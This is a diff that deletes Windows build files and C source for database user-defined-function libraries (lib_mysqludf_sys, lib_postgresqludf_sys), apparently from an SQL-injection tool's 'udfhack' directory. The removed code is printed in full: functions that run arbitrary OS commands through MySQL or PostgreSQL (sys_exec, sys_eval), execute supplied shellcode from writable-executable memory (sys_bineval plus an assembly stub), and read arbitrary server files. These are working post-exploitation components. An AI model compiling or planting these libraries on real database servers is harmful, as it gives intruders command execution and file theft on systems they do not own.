-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="1"
-				EnableIntrinsicFunctions="true"
-				FavorSizeOrSpeed="2"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
-				PreprocessorDefinitions="HAVE_DLOPEN"
-				RuntimeLibrary="2"
-				EnableFunctionLevelLinking="true"
-				WarningLevel="3"
-				DebugInformationFormat="0"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib"
-				GenerateDebugInformation="false"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath=".\lib_mysqludf_sys.c"
-				>
-			</File>
-		</Filter>
-		<Filter
-			Name="Header Files"
-			Filter="h;hpp;hxx;hm;inl;inc;xsd"
-			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
-			>
-		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
-			>
-		</Filter>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>

extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln

@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual C++ Express 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_postgresqludf_sys", "lib_postgresqludf_sys\lib_postgresqludf_sys.vcproj", "{3527D58C-177A-47B3-981B-8104EBB3F943}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Win32 = Debug|Win32
-		Release|Win32 = Release|Win32
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{3527D58C-177A-47B3-981B-8104EBB3F943}.Debug|Win32.ActiveCfg = Debug|Win32
-		{3527D58C-177A-47B3-981B-8104EBB3F943}.Debug|Win32.Build.0 = Debug|Win32
-		{3527D58C-177A-47B3-981B-8104EBB3F943}.Release|Win32.ActiveCfg = Release|Win32
-		{3527D58C-177A-47B3-981B-8104EBB3F943}.Release|Win32.Build.0 = Release|Win32
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal

extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c

@@ -1,277 +0,0 @@
-/* 
-	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2009-2010  Bernardo Damele A. G.
-	web: http://bernardodamele.blogspot.com/
-	email: [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define _USE_32BIT_TIME_T
-#define DLLEXP __declspec(dllexport) 
-#define BUILDING_DLL 1
-#else
-#define DLLEXP
-#include <sys/mman.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#include <postgres.h>
-#include <fmgr.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <ctype.h>
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-#ifdef PG_MODULE_MAGIC
-PG_MODULE_MAGIC;
-#endif
-
-char *text_ptr_to_char_ptr(text *arg)
-{
-	char *retVal;
-	int arg_size = VARSIZE(arg) - VARHDRSZ;
-	retVal = (char *)malloc(arg_size + 1);
-
-	memcpy(retVal, VARDATA(arg), arg_size);
-	retVal[arg_size] = '\0';
-	
-	return retVal;
-}
-
-text *chr_ptr_to_text_ptr(char *arg)
-{
-	text *retVal;
-	
-	retVal = (text *)malloc(VARHDRSZ + strlen(arg));
-#ifdef SET_VARSIZE
-	SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
-#else
-	VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
-#endif
-	memcpy(VARDATA(retVal), arg, strlen(arg));
-	
-	return retVal;
-}
-
-PG_FUNCTION_INFO_V1(sys_exec);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	int32 result = 0;
-	char *command;
-
-	command = text_ptr_to_char_ptr(argv0);
-
-	/*
-	Only if you want to log
-	elog(NOTICE, "Command execution: %s", command);
-	*/
-
-	result = system(command);
-	free(command);
-
-	PG_FREE_IF_COPY(argv0, 0);
-	PG_RETURN_INT32(result);
-}
-
-PG_FUNCTION_INFO_V1(sys_eval);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	text *result_text;
-	char *command;
-	char *result;
-	FILE *pipe;
-	char *line;
-	int32 outlen, linelen;
-
-	command = text_ptr_to_char_ptr(argv0);
-
-	/*
-	Only if you want to log
-	elog(NOTICE, "Command evaluated: %s", command);
-	*/
-
-	line = (char *)malloc(1024);
-	result = (char *)malloc(1);
-	outlen = 0;
-
-    result[0] = (char)0;
-
-	pipe = popen(command, "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = (char *)realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (*result) {
-		result[outlen-1] = 0x00;
-	}
-
-	result_text = chr_ptr_to_text_ptr(result);
-
-	PG_RETURN_POINTER(result_text);
-}
-
-PG_FUNCTION_INFO_V1(sys_bineval);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	int32 argv0_size;
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	argv0_size = VARSIZE(argv0) - VARHDRSZ;
-	len = (size_t)argv0_size;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, VARDATA(argv0), len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		PG_RETURN_INT32(1);
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			PG_RETURN_INT32(1);
-
-		strncpy((char *)addr, VARDATA(argv0), len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	PG_RETURN_INT32(0);
-}
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-
-	}
-
-	return 0;
-}
-#endif
-
-#undef fopen
-
-PG_FUNCTION_INFO_V1(sys_fileread);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	text *result_text;
-	int32 len;
-	int32 i, j;
-	char *filename;
-	char *result;
-	char *buffer;
-	char table[] = "0123456789ABCDEF";
-	FILE *file;
-
-	filename = text_ptr_to_char_ptr(argv0);
-	
-	file = fopen(filename, "rb");
-	if (!file)
-	{
-		PG_RETURN_NULL();
-	}
-	fseek(file, 0, SEEK_END);
-	len = ftell(file);
-	fseek(file, 0, SEEK_SET);
-
-	buffer=(char *)malloc(len + 1);
-	if (!buffer)
-	{
-		fclose(file);
-		PG_RETURN_NULL();
-	}
-
-	fread(buffer, len, 1, file);
-	fclose(file);
-
-	result = (char *)malloc(2*len + 1);
-	for (i=0, j=0; i<len; i++)
-	{
-		result[j++] = table[(buffer[i] >> 4) & 0x0f];
-		result[j++] = table[ buffer[i]	   & 0x0f];
-	}
-	result[j] = '\0';
-	
-	result_text = chr_ptr_to_text_ptr(result);
-	
-	free(result);
-	free(buffer);
-	free(filename);
-
-	PG_RETURN_POINTER(result_text);
-}

extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj

@@ -1,194 +0,0 @@
-<?xml version="1.0" encoding="Windows-1252"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="8,00"
-	Name="lib_postgresqludf_sys"
-	ProjectGUID="{3527D58C-177A-47B3-981B-8104EBB3F943}"
-	RootNamespace="lib_postgresqludf_sys"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\Include;$(POSTGRESQL_SERVER_DIR)\include\server;$(POSTGRESQL_SERVER_DIR)\include\server\port\win32"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				WarningLevel="3"
-				DebugInformationFormat="4"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="postgres.lib"
-				AdditionalLibraryDirectories="$(POSTGRESQL_SERVER_DIR)\lib;$(POSTGRESQL_SERVER_DIR)\bin"
-				GenerateDebugInformation="true"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="1"
-				EnableIntrinsicFunctions="true"
-				FavorSizeOrSpeed="2"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\Include;$(POSTGRESQL_SERVER_DIR)\include\server;$(POSTGRESQL_SERVER_DIR)\include\server\port\win32"
-				RuntimeLibrary="2"
-				EnableFunctionLevelLinking="true"
-				WarningLevel="3"
-				DebugInformationFormat="0"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="postgres.lib"
-				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib;$(POSTGRESQL_SERVER_DIR)\lib;$(POSTGRESQL_SERVER_DIR)\bin"
-				GenerateDebugInformation="false"
-				SubSystem="0"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath=".\lib_postgresqludf_sys.c"
-				>
-			</File>
-		</Filter>
-		<Filter
-			Name="Header Files"
-			Filter="h;hpp;hxx;hm;inl;inc;xsd"
-			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
-			>
-		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
-			>
-		</Filter>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>

extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys.sln

@@ -1,26 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual C++ Express 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Win32 = Debug|Win32
-		Debug|X64 = Debug|X64
-		Release|Win32 = Release|Win32
-		Release|X64 = Release|X64
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|X64.ActiveCfg = Debug|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|X64.Build.0 = Debug|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|X64.ActiveCfg = Release|x64
-		{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|X64.Build.0 = Release|x64
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal

extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm

@@ -1,7 +0,0 @@
-.CODE
-__exec_payload PROC x:QWORD
-   mov rax, x
-   call QWORD PTR[rax]
-   ret
-__exec_payload ENDP 
-END 

extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c

@@ -1,567 +0,0 @@
-/* 
-	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2007  Roland Bouman 
-	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-	web: http://www.mysqludf.org/
-	email: [email protected], [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define DLLEXP __declspec(dllexport) 
-#else
-#define DLLEXP
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#ifdef STANDARD
-#include <string.h>
-#include <stdlib.h>
-#include <time.h>
-#ifdef __WIN__
-typedef unsigned __int64 ulonglong;
-typedef __int64 longlong;
-#else
-typedef unsigned long long ulonglong;
-typedef long long longlong;
-#endif /*__WIN__*/
-#else
-#include <my_global.h>
-#include <my_sys.h>
-#endif
-#include <mysql.h>
-#include <m_ctype.h>
-#include <m_string.h>
-#include <stdlib.h>
-
-#include <ctype.h>
-
-#ifdef HAVE_DLOPEN
-#ifdef	__cplusplus
-extern "C" {
-#endif
-
-#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
-
-#ifdef __WIN__
-#define SETENV(name,value)		SetEnvironmentVariable(name,value);
-#else
-#define SETENV(name,value)		setenv(name,value,1);		
-#endif
-
-DLLEXP 
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_get
- * 
- * Gets the value of the specified environment variable.
- */
-DLLEXP 
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_get_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_set
- * 
- * Sets the value of the environment variables.
- * This function accepts a set of name/value pairs
- * which are then set as environment variables.
- * Use sys_get to retrieve the value of such a variable 
- */
-DLLEXP 
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_set_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_exec
- * 
- * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_exec_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_eval
- * 
- * executes the argument commandstring and returns its standard output.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_eval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_bineval
- * 
- * executes bynary opcodes.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-DLLEXP 
-void sys_bineval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-
-#ifdef	__cplusplus
-}
-#endif
-
-/**
- * lib_mysqludf_sys_info
- */
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	my_bool status;
-	if(args->arg_count!=0){
-		strcpy(
-			message
-		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
-		);
-		status = 1;
-	} else {
-		status = 0;
-	}
-	return status;
-}
-
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	strcpy(result,LIBVERSION);
-	*length = strlen(LIBVERSION);
-	return result;
-}
-
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count==1
-	&&	args->arg_type[0]==STRING_RESULT){
-		initid->maybe_null = 1;
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_get_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	char* value = getenv(args->args[0]);
-	if(value == NULL){
-		*is_null = 1;
-	} else {
-		*length = strlen(value);
-	} 
-	return value;
-}
-
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count!=2){
-		strcpy(
-			message
-		,	"Expected exactly two arguments"
-		);		
-		return 1;
-	}
-	if(args->arg_type[0]!=STRING_RESULT){
-		strcpy(
-			message
-		,	"Expected string type for name parameter"
-		);		
-		return 1;
-	}
-	args->arg_type[1]=STRING_RESULT;
-	if((initid->ptr=malloc(
-		args->lengths[0]
-	+	1
-	+	args->lengths[1]
-	+	1
-	))==NULL){
-		strcpy(
-			message
-		,	"Could not allocate memory"
-		);		
-		return 1;
-	}	
-	return 0;
-}
-
-void sys_set_deinit(
-	UDF_INIT *initid
-){
-	if (initid->ptr!=NULL){
-		free(initid->ptr);
-	}
-}
-
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){	
-	char *name = initid->ptr;
-	char *value = name + args->lengths[0] + 1; 
-	memcpy(
-		name
-	,	args->args[0]
-	,	args->lengths[0]
-	);
-	*(name + args->lengths[0]) = '\0';
-	memcpy(
-		value
-	,	args->args[1]
-	,	args->lengths[1]
-	);
-	*(value + args->lengths[1]) = '\0';
-	return SETENV(name,value);		
-}
-
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_exec_deinit(
-	UDF_INIT *initid
-){
-}
-
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){
-	return system(args->args[0]);
-}
-
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_eval_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	FILE *pipe;
-	char *line;
-	unsigned long outlen, linelen;
-
-	line = (char *)malloc(1024);
-	result = (char *)malloc(1);
-	outlen = 0;
-
-    result[0] = (char)0;
-
-	pipe = popen(args->args[0], "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = (char *)realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (!(*result) || result == NULL) {
-		*is_null = 1;
-	} else {
-		result[outlen-1] = 0x00;
-		*length = strlen(result);
-	}
-
-	return result;
-}
-
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	return 0;
-}
-
-void sys_bineval_deinit(
-	UDF_INIT *initid
-){
-	
-}
-
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	len = (size_t)strlen(args->args[0]);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, args->args[0], len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		return 1;
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			return 1;
-
-		strncpy((char *)addr, args->args[0], len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	return 0;
-}
-
-#if defined(_WIN64)
-void __exec_payload(LPVOID);
-
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__exec_payload(lpParameter);
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
